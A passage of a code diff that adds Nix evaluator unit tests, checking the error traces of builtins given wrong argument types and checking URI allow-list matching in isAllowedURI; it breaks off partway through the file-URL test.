ASSERT_TRACE2("tail 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.tail")); + + ASSERT_TRACE1("tail []", + Error, + HintFmt("'tail' called on an empty list")); + + } + + + TEST_F(ErrorTraceTest, map) { + ASSERT_TRACE2("map 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.map")); + + ASSERT_TRACE2("map 1 [ 1 ]", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.map")); + + } + + + TEST_F(ErrorTraceTest, filter) { + ASSERT_TRACE2("filter 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.filter")); + + ASSERT_TRACE2("filter 1 [ \"foo\" ]", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.filter")); + + ASSERT_TRACE2("filter (_: 5) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "5" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the filtering function passed to builtins.filter")); + + } + + + TEST_F(ErrorTraceTest, elem) { + ASSERT_TRACE2("elem 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.elem")); + + } + + + TEST_F(ErrorTraceTest, concatLists) { + ASSERT_TRACE2("concatLists 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.concatLists")); + + ASSERT_TRACE2("concatLists [ 1 ]", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating a value of the list passed to builtins.concatLists")); + + ASSERT_TRACE2("concatLists [ [1] \"foo\" ]", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating a value of the list passed to builtins.concatLists")); + + } + + + TEST_F(ErrorTraceTest, length) { + ASSERT_TRACE2("length 1", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.length")); + + ASSERT_TRACE2("length \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.length")); + + } + + + TEST_F(ErrorTraceTest, foldlPrime) { + ASSERT_TRACE2("foldl' 1 \"foo\" true", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.foldlStrict")); + + ASSERT_TRACE2("foldl' (_: 1) \"foo\" true", + TypeError, + HintFmt("expected a list but found %s: %s", "a Boolean", Uncolored(ANSI_CYAN "true" ANSI_NORMAL)), + HintFmt("while evaluating the third argument passed to builtins.foldlStrict")); + + ASSERT_TRACE1("foldl' (_: 1) \"foo\" [ true ]", + TypeError, + HintFmt("attempt to call something which is not a function but %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL))); + + ASSERT_TRACE2("foldl' (a: b: a && b) \"foo\" [ true ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("in the left operand of the AND (&&) operator")); + + } + + + TEST_F(ErrorTraceTest, any) { + ASSERT_TRACE2("any 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.any")); + + ASSERT_TRACE2("any (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.any")); + + ASSERT_TRACE2("any (_: 1) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.any")); + + } + + + TEST_F(ErrorTraceTest, all) { + ASSERT_TRACE2("all 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.all")); + + ASSERT_TRACE2("all (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.all")); + + ASSERT_TRACE2("all (_: 1) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.all")); + + } + + + TEST_F(ErrorTraceTest, genList) { + ASSERT_TRACE2("genList 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.genList")); + + ASSERT_TRACE2("genList 1 2", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.genList")); + + // XXX: defered + // ASSERT_TRACE2("genList (x: x + \"foo\") 2 #TODO", + // TypeError, + // HintFmt("cannot add %s to an integer", "a string"), + // HintFmt("while evaluating anonymous lambda")); + + ASSERT_TRACE1("genList false (-3)", + EvalError, + HintFmt("cannot create list of size %d", -3)); + + } + + + TEST_F(ErrorTraceTest, sort) { + ASSERT_TRACE2("sort 1 \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.sort")); + + ASSERT_TRACE2("sort 1 [ \"foo\" ]", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.sort")); + + ASSERT_TRACE1("sort (_: 1) [ \"foo\" \"bar\" ]", + TypeError, + HintFmt("attempt to call something which is not a function but %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL))); + + ASSERT_TRACE2("sort (_: _: 1) [ \"foo\" \"bar\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the sorting function passed to builtins.sort")); + + // XXX: Trace too deep, need better asserts + // ASSERT_TRACE1("sort (a: b: a <= b) [ \"foo\" {} ] # TODO", + // TypeError, + // HintFmt("cannot compare %s with %s", "a string", "a set")); + + // ASSERT_TRACE1("sort (a: b: a <= b) [ {} {} ] # TODO", + // TypeError, + // HintFmt("cannot compare %s with %s; values of that type are incomparable", "a set", "a set")); + + } + + + TEST_F(ErrorTraceTest, partition) { + ASSERT_TRACE2("partition 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.partition")); + + ASSERT_TRACE2("partition (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.partition")); + + ASSERT_TRACE2("partition (_: 1) [ \"foo\" ]", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the partition function passed to builtins.partition")); + + } + + + TEST_F(ErrorTraceTest, groupBy) { + ASSERT_TRACE2("groupBy 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.groupBy")); + + ASSERT_TRACE2("groupBy (_: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.groupBy")); + + ASSERT_TRACE2("groupBy (x: x) [ \"foo\" \"bar\" 1 ]", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the grouping function passed to builtins.groupBy")); + + } + + + TEST_F(ErrorTraceTest, concatMap) { + ASSERT_TRACE2("concatMap 1 \"foo\"", + TypeError, + HintFmt("expected a function but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.concatMap")); + + ASSERT_TRACE2("concatMap (x: 1) \"foo\"", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.concatMap")); + + ASSERT_TRACE2("concatMap (x: 1) [ \"foo\" ] # TODO", + TypeError, + HintFmt("expected a list but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.concatMap")); + + ASSERT_TRACE2("concatMap (x: \"foo\") [ 1 2 ] # TODO", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the return value of the function passed to builtins.concatMap")); + + } + + + TEST_F(ErrorTraceTest, add) { + ASSERT_TRACE2("add \"foo\" 1", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument of the addition")); + + ASSERT_TRACE2("add 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument of the addition")); + + } + + + TEST_F(ErrorTraceTest, sub) { + ASSERT_TRACE2("sub \"foo\" 1", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument of the subtraction")); + + ASSERT_TRACE2("sub 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument of the subtraction")); + + } + + + TEST_F(ErrorTraceTest, mul) { + ASSERT_TRACE2("mul \"foo\" 1", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first argument of the multiplication")); + + ASSERT_TRACE2("mul 1 \"foo\"", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument of the multiplication")); + + } + + + TEST_F(ErrorTraceTest, div) { + ASSERT_TRACE2("div \"foo\" 1 # TODO: an integer was expected -> a number", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the first operand of the division")); + + ASSERT_TRACE2("div 1 \"foo\"", + TypeError, + HintFmt("expected a float but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second operand of the division")); + + ASSERT_TRACE1("div \"foo\" 0", + EvalError, + HintFmt("division by zero")); + + } + + + TEST_F(ErrorTraceTest, bitAnd) { + ASSERT_TRACE2("bitAnd 1.1 2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.bitAnd")); + + ASSERT_TRACE2("bitAnd 1 2.2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.bitAnd")); + + } + + + TEST_F(ErrorTraceTest, bitOr) { + ASSERT_TRACE2("bitOr 1.1 2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.bitOr")); + + ASSERT_TRACE2("bitOr 1 2.2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.bitOr")); + + } + + + TEST_F(ErrorTraceTest, bitXor) { + ASSERT_TRACE2("bitXor 1.1 2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "1.1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.bitXor")); + + ASSERT_TRACE2("bitXor 1 2.2", + TypeError, + HintFmt("expected an integer but found %s: %s", "a float", Uncolored(ANSI_CYAN "2.2" ANSI_NORMAL)), + HintFmt("while evaluating the second argument passed to builtins.bitXor")); + + } + + + TEST_F(ErrorTraceTest, lessThan) { + ASSERT_TRACE1("lessThan 1 \"foo\"", + EvalError, + HintFmt("cannot compare %s with %s", "an integer", "a string")); + + ASSERT_TRACE1("lessThan {} {}", + EvalError, + HintFmt("cannot compare %s with %s; values of that type are incomparable", "a set", "a set")); + + ASSERT_TRACE2("lessThan [ 1 2 ] [ \"foo\" ]", + EvalError, + HintFmt("cannot compare %s with %s", "an integer", "a string"), + HintFmt("while comparing two list elements")); + + } + + + TEST_F(ErrorTraceTest, toString) { + ASSERT_TRACE2("toString { a = 1; }", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ a = " ANSI_CYAN "1" ANSI_NORMAL "; }")), + HintFmt("while evaluating the first argument passed to builtins.toString")); + + } + + + TEST_F(ErrorTraceTest, substring) { + ASSERT_TRACE2("substring {} \"foo\" true", + TypeError, + HintFmt("expected an integer but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the first argument (the start offset) passed to builtins.substring")); + + ASSERT_TRACE2("substring 3 \"foo\" true", + TypeError, + HintFmt("expected an integer but found %s: %s", "a string", Uncolored(ANSI_MAGENTA "\"foo\"" ANSI_NORMAL)), + HintFmt("while evaluating the second argument (the substring length) passed to builtins.substring")); + + ASSERT_TRACE2("substring 0 3 {}", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the third argument (the string) passed to builtins.substring")); + + ASSERT_TRACE1("substring (-3) 3 \"sometext\"", + EvalError, + HintFmt("negative start position in 'substring'")); + + } + + + TEST_F(ErrorTraceTest, stringLength) { + ASSERT_TRACE2("stringLength {} # TODO: context is missing ???", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the argument passed to builtins.stringLength")); + + } + + + TEST_F(ErrorTraceTest, hashString) { + ASSERT_TRACE2("hashString 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.hashString")); + + ASSERT_TRACE1("hashString \"foo\" \"content\"", + UsageError, + HintFmt("unknown hash algorithm '%s', expect 'md5', 'sha1', 'sha256', or 'sha512'", "foo")); + + ASSERT_TRACE2("hashString \"sha256\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.hashString")); + + } + + + TEST_F(ErrorTraceTest, match) { + ASSERT_TRACE2("match 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.match")); + + ASSERT_TRACE2("match \"foo\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.match")); + + ASSERT_TRACE1("match \"(.*\" \"\"", + EvalError, + HintFmt("invalid regular expression '%s'", "(.*")); + + } + + + TEST_F(ErrorTraceTest, split) { + ASSERT_TRACE2("split 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.split")); + + ASSERT_TRACE2("split \"foo\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.split")); + + ASSERT_TRACE1("split \"f(o*o\" \"1foo2\"", + EvalError, + HintFmt("invalid regular expression '%s'", "f(o*o")); + + } + + + TEST_F(ErrorTraceTest, concatStringsSep) { + ASSERT_TRACE2("concatStringsSep 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument (the separator string) passed to builtins.concatStringsSep")); + + ASSERT_TRACE2("concatStringsSep \"foo\" {}", + TypeError, + HintFmt("expected a list but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument (the list of strings to concat) passed to builtins.concatStringsSep")); + + ASSERT_TRACE2("concatStringsSep \"foo\" [ 1 2 {} ] # TODO: coerce to string is buggy", + TypeError, + HintFmt("cannot coerce %s to a string: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating one element of the list of strings to concat passed to builtins.concatStringsSep")); + + } + + + TEST_F(ErrorTraceTest, parseDrvName) { + ASSERT_TRACE2("parseDrvName 1", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.parseDrvName")); + + } + + + TEST_F(ErrorTraceTest, compareVersions) { + ASSERT_TRACE2("compareVersions 1 {}", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.compareVersions")); + + ASSERT_TRACE2("compareVersions \"abd\" {}", + TypeError, + HintFmt("expected a string but found %s: %s", "a set", Uncolored("{ }")), + HintFmt("while evaluating the second argument passed to builtins.compareVersions")); + + } + + + TEST_F(ErrorTraceTest, splitVersion) { + ASSERT_TRACE2("splitVersion 1", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the first argument passed to builtins.splitVersion")); + + } + + + TEST_F(ErrorTraceTest, traceVerbose) { + } + + + TEST_F(ErrorTraceTest, derivationStrict) { + ASSERT_TRACE2("derivationStrict \"\"", + TypeError, + HintFmt("expected a set but found %s: %s", "a string", "\"\""), + HintFmt("while evaluating the argument passed to builtins.derivationStrict")); + + ASSERT_TRACE2("derivationStrict {}", + TypeError, + HintFmt("attribute '%s' missing", "name"), + HintFmt("in the attrset passed as argument to builtins.derivationStrict")); + + ASSERT_TRACE3("derivationStrict { name = 1; }", + TypeError, + HintFmt("expected a string but found %s: %s", "an integer", Uncolored(ANSI_CYAN "1" ANSI_NORMAL)), + HintFmt("while evaluating the `name` attribute passed to builtins.derivationStrict"), + HintFmt("while evaluating the derivation attribute 'name'")); + + ASSERT_DERIVATION_TRACE1("derivationStrict { name = \"foo\"; }", + EvalError, + HintFmt("required attribute 'builder' missing")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __structuredAttrs = 15; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), + HintFmt("while evaluating the `__structuredAttrs` attribute passed to builtins.derivationStrict")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; __ignoreNulls = 15; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "an integer", Uncolored(ANSI_CYAN "15" ANSI_NORMAL)), + HintFmt("while evaluating the `__ignoreNulls` attribute passed to builtins.derivationStrict")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = 15; }", + EvalError, + HintFmt("invalid value '%s' for 'outputHashMode' attribute", "15"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; outputHashMode = \"custom\"; }", + EvalError, + HintFmt("invalid value '%s' for 'outputHashMode' attribute", "custom"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputHashMode", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = {}; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "system", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = {}; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"drvPath\"; }", + EvalError, + HintFmt("invalid derivation output name 'drvPath'"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; outputs = \"out\"; __structuredAttrs = true; }", + EvalError, + HintFmt("expected a list but found %s: %s", "a string", "\"out\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = []; }", + EvalError, + HintFmt("derivation cannot have an empty set of outputs"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"drvPath\" ]; }", + EvalError, + HintFmt("invalid derivation output name 'drvPath'"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE2("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = [ \"out\" \"out\" ]; }", + EvalError, + HintFmt("duplicate derivation output '%s'", "out"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "outputs", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __contentAddressed = \"true\"; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__contentAddressed", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; __impure = \"true\"; }", + TypeError, + HintFmt("expected a Boolean but found %s: %s", "a string", "\"true\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "__impure", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = \"foo\"; }", + TypeError, + HintFmt("expected a list but found %s: %s", "a string", "\"foo\""), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ {} ]; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt("while evaluating an element of the argument list"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; args = [ \"a\" {} ]; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt("while evaluating an element of the argument list"), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "args", "foo")); + + ASSERT_DERIVATION_TRACE3("derivationStrict { name = \"foo\"; builder = 1; system = 1; outputs = \"out\"; FOO = {}; }", + TypeError, + HintFmt("cannot coerce %s to a string: { }", "a set"), + HintFmt(""), + HintFmt("while evaluating attribute '%s' of derivation '%s'", "FOO", "foo")); + } + +} /* namespace nix */ diff --git a/tests/unit/libexpr/eval.cc b/tests/unit/libexpr/eval.cc new file mode 100644 index 000000000..93d3f658f --- /dev/null +++ b/tests/unit/libexpr/eval.cc @@ -0,0 +1,141 @@ +#include +#include + +#include "eval.hh" +#include "tests/libexpr.hh" + +namespace nix { + +TEST(nix_isAllowedURI, http_example_com) { + Strings allowed; + allowed.push_back("http://example.com"); + + ASSERT_TRUE(isAllowedURI("http://example.com", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com/foo", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com/foo/", allowed)); + ASSERT_FALSE(isAllowedURI("/", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.co", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.como", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.org", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.org/foo", allowed)); +} + +TEST(nix_isAllowedURI, http_example_com_foo) { + Strings allowed; + allowed.push_back("http://example.com/foo"); + + ASSERT_TRUE(isAllowedURI("http://example.com/foo", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com/foo/", allowed)); + ASSERT_FALSE(isAllowedURI("/foo", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.como", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.org/foo", allowed)); + // Broken? + // ASSERT_TRUE(isAllowedURI("http://example.com/foo?ok=1", allowed)); +} + +TEST(nix_isAllowedURI, http) { + Strings allowed; + allowed.push_back("http://"); + + ASSERT_TRUE(isAllowedURI("http://", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com/foo", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com/foo/", allowed)); + ASSERT_TRUE(isAllowedURI("http://example.com", allowed)); + ASSERT_FALSE(isAllowedURI("/", allowed)); + ASSERT_FALSE(isAllowedURI("https://", allowed)); + ASSERT_FALSE(isAllowedURI("http:foo", allowed)); +} + +TEST(nix_isAllowedURI, https) { + Strings allowed; + allowed.push_back("https://"); + + ASSERT_TRUE(isAllowedURI("https://example.com", allowed)); + ASSERT_TRUE(isAllowedURI("https://example.com/foo", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com/https:", allowed)); +} + +TEST(nix_isAllowedURI, absolute_path) { + Strings allowed; + allowed.push_back("/var/evil"); // bad idea + + ASSERT_TRUE(isAllowedURI("/var/evil", allowed)); + ASSERT_TRUE(isAllowedURI("/var/evil/", allowed)); + ASSERT_TRUE(isAllowedURI("/var/evil/foo", allowed)); + ASSERT_TRUE(isAllowedURI("/var/evil/foo/", allowed)); + ASSERT_FALSE(isAllowedURI("/", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evi", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evilo", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evilo/", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evilo/foo", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com/var/evil", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com//var/evil", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com//var/evil/foo", allowed)); +} + +TEST(nix_isAllowedURI, file_url) { + Strings allowed; + allowed.push_back("file:///var/evil"); // bad idea + + ASSERT_TRUE(isAllowedURI("file:///var/evil", allowed)); + ASSERT_TRUE(isAllowedURI("file:///var/evil/", allowed)); + ASSERT_TRUE(isAllowedURI("file:///var/evil/foo", allowed)); + ASSERT_TRUE(isAllowedURI("file:///var/evil/foo/", allowed)); + ASSERT_FALSE(isAllowedURI("/", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evi", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evilo", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evilo/", allowed)); + ASSERT_FALSE(isAllowedURI("/var/evilo/foo", allowed)); + ASSERT_FALSE(isAllowedURI("http://example.com/var/evil", allowed)); + 